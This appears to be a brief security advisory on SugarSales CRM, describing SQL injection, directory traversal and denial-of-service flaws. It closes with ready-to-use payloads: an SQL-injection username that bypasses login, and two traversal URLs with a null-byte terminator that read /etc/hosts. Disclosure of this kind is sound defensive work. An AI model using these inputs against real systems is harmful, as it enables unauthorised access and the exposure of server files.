19 lines
No EOL
1.1 KiB
Text
19 lines
No EOL
1.1 KiB
Text
source: https://www.securityfocus.com/bid/11896/info
|
|
|
|
Multiple remote vulnerabilities are reported to exist in SugarSales.
|
|
|
|
The first reported issue is an SQL injection vulnerability. This vulnerability is due to a lack of proper input-validation by the application, prior to utilizing attacker-supplied data in and SQL query.
|
|
|
|
This vulnerability is reported to exist in versions prior to 2.0.1a.
|
|
|
|
The next issue is reportedly a directory traversal vulnerability. This vulnerability is also due to a lack of proper input-validation by the application.
|
|
|
|
The last reported issue is a remote denial of service and information disclosure vulnerability.
|
|
|
|
The directory traversal and installation script vulnerabilities reportedly exist in all current versions of SugarSales.
|
|
|
|
To log into SugarSales, utilize the username "admin' or 1=1 -- " with any password.
|
|
|
|
To disclose the contents of potentially sensitive files:
|
|
http://www.example.com/sugarcrm/modules/Users/Login.php?theme=/../../../etc/hosts%00
|
|
http://www.example.com/sugarcrm/modules/Calls/index.php?theme=/../../../etc/hosts%00 |